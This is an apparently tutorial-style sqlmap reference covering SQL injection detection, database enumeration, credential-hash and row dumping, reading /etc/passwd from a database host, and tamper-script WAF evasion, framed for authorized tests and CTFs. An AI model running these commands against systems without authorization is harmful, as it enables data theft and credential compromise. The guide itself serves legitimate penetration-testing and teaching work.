sqlmap
sqlmap automates the detection and exploration of SQL injection: you hand it a request you suspect, and it confirms whether a parameter is vulnerable, fingerprints the database, and (within the scope you allow) enumerates schemas, tables, and rows. Reach for it once manual testing suggests a parameter behaves oddly with a quote or a boolean, when you want repeatable, evidence-producing proof instead of hours of hand-tuned payloads. It is powerful and noisy, so point it only at targets you own or are explicitly authorized to test.
Mental model: sqlmap -u "URL" -p PARAM [enumeration] --batch. Detect first, then enumerate one rung at a time.
New to SQL injection? Core concepts
- Injection point: a parameter whose value reaches a SQL query unsanitized; sqlmap tests each and you focus one with
-p NAME - Technique: the payload families, Boolean-blind
B, Error-basedE, UnionU, StackedS, Time-blindT(and inlineQ), chosen with--technique=BEUST --level(1-5): how many places sqlmap looks;2adds cookies,3adds headers--risk(1-3): how heavy the payloads are;3adds OR-based tests that can change data- Enumeration ladder:
--dbs->--tables->--columns->--dump, narrowed with-D,-T,-C - DBMS fingerprint: the backend (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) decides which functions and enumeration are possible
- Session: findings are cached under the output dir so reruns skip re-detection;
--flush-sessionclears it - tamper: payload-transform scripts (
space2comment,between) for WAF evasion in authorized tests
When to reach for sqlmap (and when not)
Reach for it when manual testing already flags a parameter that mishandles a quote or a boolean, and you want to confirm the injection, fingerprint the DBMS, and enumerate read-only inside scope while producing repeatable evidence. It shines in CTFs to exploit an obvious injectable, and in authorized assessments to demonstrate impact.
Reach for something else when you have not found a candidate yet (test by hand or in Burp Repeater first), when the backend is NoSQL (NoSQLMap), or when the bug is a different class entirely (sqlmap only does SQLi). Ghauri is a lighter alternative engine some prefer for stubborn cases.
Install, update, verify#
sudo apt install -y sqlmap # Debian / Ubuntu / Kali
sudo dnf install -y sqlmap # Fedora / RHEL
sudo apt install --only-upgrade -y sqlmap # update the package
git clone --depth 1 https://github.com/sqlmapproject/sqlmap ~/tools/sqlmap # latest engine
sqlmap --version # version string
command -v sqlmap # confirm it is on PATH
sqlmap -hh | less # full advanced help
Use apt for convenience; the git checkout tracks the newest detection engine, run it with python3 ~/tools/sqlmap/sqlmap.py. sqlmap caches session data under ~/.local/share/sqlmap, so reruns are fast and resumable. URL throughout is an authorized lab target such as http://TARGET_IP/item.php?id=1.
Flags you’ll actually use#
Skim these first; the cheat sheet below is these flags combined.
| Flag | Does | Flag | Does |
|---|---|---|---|
-u "URL" | Target URL (GET) | --dbs | List databases |
-r req.txt | Load a saved raw request | --tables | List tables (-D to scope) |
-p NAME | Test just this parameter | --columns | List columns (-T to scope) |
--data | Send (and test) a POST body | --dump | Read rows (-C for columns) |
--cookie | Send a session cookie | -D / -T / -C | Pick db / table / columns |
--batch | Take every default, no prompts | --current-user / --current-db | Who and where you are |
--technique | Limit payload families BEUST | --passwords | Dump credential hashes |
--level | Breadth 1-5 (adds cookies/headers) | --count | Count rows before dumping |
--risk | Aggressiveness 1-3 | --proxy | Route through Burp/mitmproxy |
--fingerprint | Deep DBMS/OS fingerprint | --tamper | WAF-evasion payload scripts |
--flush-session | Forget cached findings, retest | --threads | Parallel requests (modestly) |
Cheat sheet#
Each block starts bare and adds one flag at a time, so you can stop at the line that does the job.
# Point sqlmap at a target (pick one)
sqlmap -u "URL?id=1" # a GET parameter
sqlmap -u "URL/login" --data 'user=a&pw=b' # a POST body
sqlmap -r request.txt # a raw request saved from Burp (POST, cookies, headers)
sqlmap -u "URL" --cookie 'PHPSESSID=abcd' # add an auth cookie
sqlmap -u "URL" --crawl=2 --forms # crawl the app and test discovered forms
# Build up detection: stop at the line that confirms it
sqlmap -u "URL" -p id --batch # 1. defaults, one parameter
sqlmap -u "URL" -p id --batch --technique=B # 2. + only boolean-blind (quiet)
sqlmap -u "URL" -p id --batch --technique=BU --level=2 # 3. + union, look in cookies too
sqlmap -u "URL" -p id --batch --level=5 --risk=3 # 4. + everything (loud, last resort)
# Fingerprint the backend
sqlmap -u "URL" -p id --batch --banner # DBMS banner / version
sqlmap -u "URL" -p id --batch --fingerprint # deep DBMS + OS fingerprint
# Enumerate: escalate one rung at a time (read-only)
sqlmap -u "URL" -p id --batch --dbs # databases
sqlmap -u "URL" -p id --batch -D appdb --tables # tables in appdb
sqlmap -u "URL" -p id --batch -D appdb -T users --columns # columns in users
sqlmap -u "URL" -p id --batch -D appdb -T users -C user,pass --dump # just those columns
# Quick one-shot facts
sqlmap -u "URL" -p id --batch --current-user --current-db # who am I, which db
sqlmap -u "URL" -p id --batch --is-dba # are we a DB admin?
sqlmap -u "URL" -p id --batch --count -D appdb -T users # row count before dumping
sqlmap -u "URL" -p id --batch --passwords # dump credential hashes
sqlmap -u "URL" -p id --batch --search -C pass,token # find columns by name
# Run your own SQL / read a file (authorized only)
sqlmap -u "URL" -p id --batch --sql-query 'select @@version'
sqlmap -u "URL" -p id --batch --file-read '/etc/passwd'
# Evasion and pacing (authorized tests)
sqlmap -u "URL" -p id --batch --random-agent # rotate the User-Agent
sqlmap -u "URL" -p id --batch --tamper=space2comment # transform payloads past a filter
sqlmap -u "URL" -p id --batch --delay 1 --threads 1 # slow, single-threaded, quiet
sqlmap -u "URL" -p id --batch --proxy http://127.0.0.1:8080 # into Burp for inspection
# Session control
sqlmap -u "URL" -p id --batch --flush-session # forget cached findings, detect fresh
Command breakdowns#
Each block below explains one situation, the exact command, and what to expect back.
Confirm a single GET parameter is injectable#
sqlmap -u "URL?id=1" -p id --batch --technique=B --level=1 --risk=1
Focuses on id with only boolean-blind payloads at the lowest setting. Success is a line like parameter 'id' is vulnerable. The message all tested parameters do not appear to be injectable is a normal and common result, not an error.
Test a POST or authenticated request from a saved file#
sqlmap -r request.txt -p username --batch
In Burp, right-click the request and choose “Copy to file” as request.txt. sqlmap replays it verbatim, so cookies, POST body, and headers are correct. This is the realistic path; real apps rarely inject through a bare GET.
Pass POST data and a cookie without a file#
sqlmap -u "URL/login" --data 'user=admin&pass=x' -p user --cookie 'PHPSESSID=abcd' --batch
--data makes it a POST and marks those params testable; --cookie carries the session so the request reaches authenticated code. sqlmap injects into whichever param -p names.
Fingerprint the DBMS and grab the banner#
sqlmap -u "URL" -p id --batch --banner --fingerprint
Returns the backend (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), its version, and OS hints. The DBMS decides which enumeration and functions are possible, so do this before enumerating.
Walk the enumeration ladder#
sqlmap -u "URL" -p id --batch --dbs
sqlmap -u "URL" -p id --batch -D appdb --tables
sqlmap -u "URL" -p id --batch -D appdb -T users --columns
Each rung narrows the last: databases, then tables in one db, then columns in one table. sqlmap caches every result, so these run fast after the first detection.
Dump only the columns you need#
sqlmap -u "URL" -p id --batch -D appdb -T users -C username,password --dump
-C limits the dump to named columns instead of the whole table. Dump the minimum that proves impact; --dump reads real rows and --dump-all reads every database.
Grab current user, database, and DBA status#
sqlmap -u "URL" -p id --batch --current-user --current-db --is-dba
Three cheap facts: the DB account, the active database, and whether that account is an administrator. --is-dba returning True widens what else is reachable, such as file reads and stacked queries.
Dump password hashes for offline cracking#
sqlmap -u "URL" -p id --batch --passwords
Pulls DBMS user credential hashes and offers to run a built-in dictionary attack; decline it and crack offline with hashcat or john. Only against accounts you are authorized to recover.
Count rows before you dump#
sqlmap -u "URL" -p id --batch --count -D appdb -T users
Shows how many rows a table holds so you do not blindly pull a huge one. Pair with --start and --stop to grab a slice, for example --start 1 --stop 20.
Search the schema for interesting names#
sqlmap -u "URL" -p id --batch --search -C pass,secret,token
Hunts every database for columns whose names match, so you find the credential table without listing everything. Swap -C for -T to search table names or -D for database names.
Run an arbitrary SQL query#
sqlmap -u "URL" -p id --batch --sql-query 'select @@version'
Runs one statement through the injection and prints the result. --sql-shell opens an interactive prompt for several queries. Handy for a targeted lookup the enumeration flags do not cover.
Read a file from the database host#
sqlmap -u "URL" -p id --batch --file-read '/etc/passwd'
Works when the DB account has file privileges (usually needs --is-dba). sqlmap saves the file locally and prints the path. --file-write with --file-dest writes a file, which changes the target, so labs only and with explicit approval.
Route every request through Burp#
sqlmap -u "URL" -p id --batch --proxy http://127.0.0.1:8080
Every payload lands in Burp’s history so you can inspect, justify, and replay exactly what sqlmap sent. The best way to understand and document what a run actually did.
Get past a filter with tamper scripts and pacing#
sqlmap -u "URL" -p id --batch --random-agent --tamper=space2comment,between --delay 1
--tamper rewrites payloads (spaces to comments, = to BETWEEN) to slip past naive filters, while --random-agent and --delay shrink the fingerprint. List every script with --list-tampers. Authorized tests only; never to defeat controls you cannot test.
Retest cleanly after a stale or failed run#
sqlmap -u "URL" -p id --batch --flush-session
Deletes the cached findings for this target so sqlmap detects from scratch. Use it after you fix a request, change level or risk, or suspect a bad cached result.
Reading the output#
| sqlmap says | Meaning | Do next |
|---|---|---|
parameter 'id' is vulnerable | Confirmed injection | Note the technique, start enumerating |
might be injectable (possible DBMS: ...) | Heuristic hit, not proven | Let the payloads finish, or raise level/risk |
all tested parameters do not appear to be injectable | Nothing at this level/risk | Raise --level/--risk in scope, or wrong param |
the back-end DBMS is MySQL | Fingerprint locked in | Enumeration and functions are now DBMS-specific |
got a 302 redirect to ... | Auth or session issue | Add --cookie, use -r, maybe --ignore-redirects |
WAF/IPS ... might be present | Payloads are being filtered | Confirm scope, consider --tamper, slow down |
resumed ... from stored session | Reusing cached findings | Add --flush-session to force a fresh test |
Troubleshooting#
| Problem | Cause | Fix |
|---|---|---|
| Not injectable but you expect it | Level/risk too low, or wrong technique | Raise --level/--risk, try --technique=BEUST |
| 401 / redirect loops | Missing auth | Use -r with real cookies, or --cookie |
| Very slow | Time-based technique, single thread | Prefer --technique=BU, raise --threads modestly |
| Injects the wrong input | No focus set | Add -p NAME (and --data for POST) |
| Stale or wrong results | Cached session | --flush-session to detect fresh |
command not found | Not installed / stale PATH | Reinstall, or run python3 sqlmap.py from the clone |
| Payloads blocked | WAF or input filter | Confirm scope, add --tamper, --random-agent, --delay |
Gotchas#
--leveland--riskdo different jobs. Level widens where it looks (2 adds cookies, 3 adds headers); risk makes payloads heavier and at 3 runs OR-based tests that can write data. Raise level for coverage, risk only with a reason.--dumpand--dump-allread real rows. On production that is data exfiltration. Confirm columns with--columnsand size with--count, then dump the minimum that proves impact.- A GET-only test misses the real bug. If the vulnerable input is a POST field, header, or cookie,
-u "URL"alone never reaches it. Capture the whole request and feed it with-r. - sqlmap caches everything. A “not injectable” verdict can be a stale session from before you fixed the request; run
--flush-sessionbefore you trust a negative. --batchanswers every prompt with the default, including “do you want to dump?” and the crack offers. Know what those defaults do before you script it.--os-shelland--file-writechange the target. Those are exploitation, not enumeration; keep them out of read-only assessments unless scope explicitly allows them.
Pairs with#
Burp Suite captures the exact request: “Copy to file” then -r is the realistic way to feed sqlmap a POST or authenticated flow. Nmap and whatweb fingerprint the web stack before you test. hashcat and john crack any hashes --passwords recovers. For a NoSQL backend reach for NoSQLMap, and Ghauri is a lighter alternative engine some prefer; for an odd case sqlmap misses, hand-testing in Burp Repeater beats automation every time.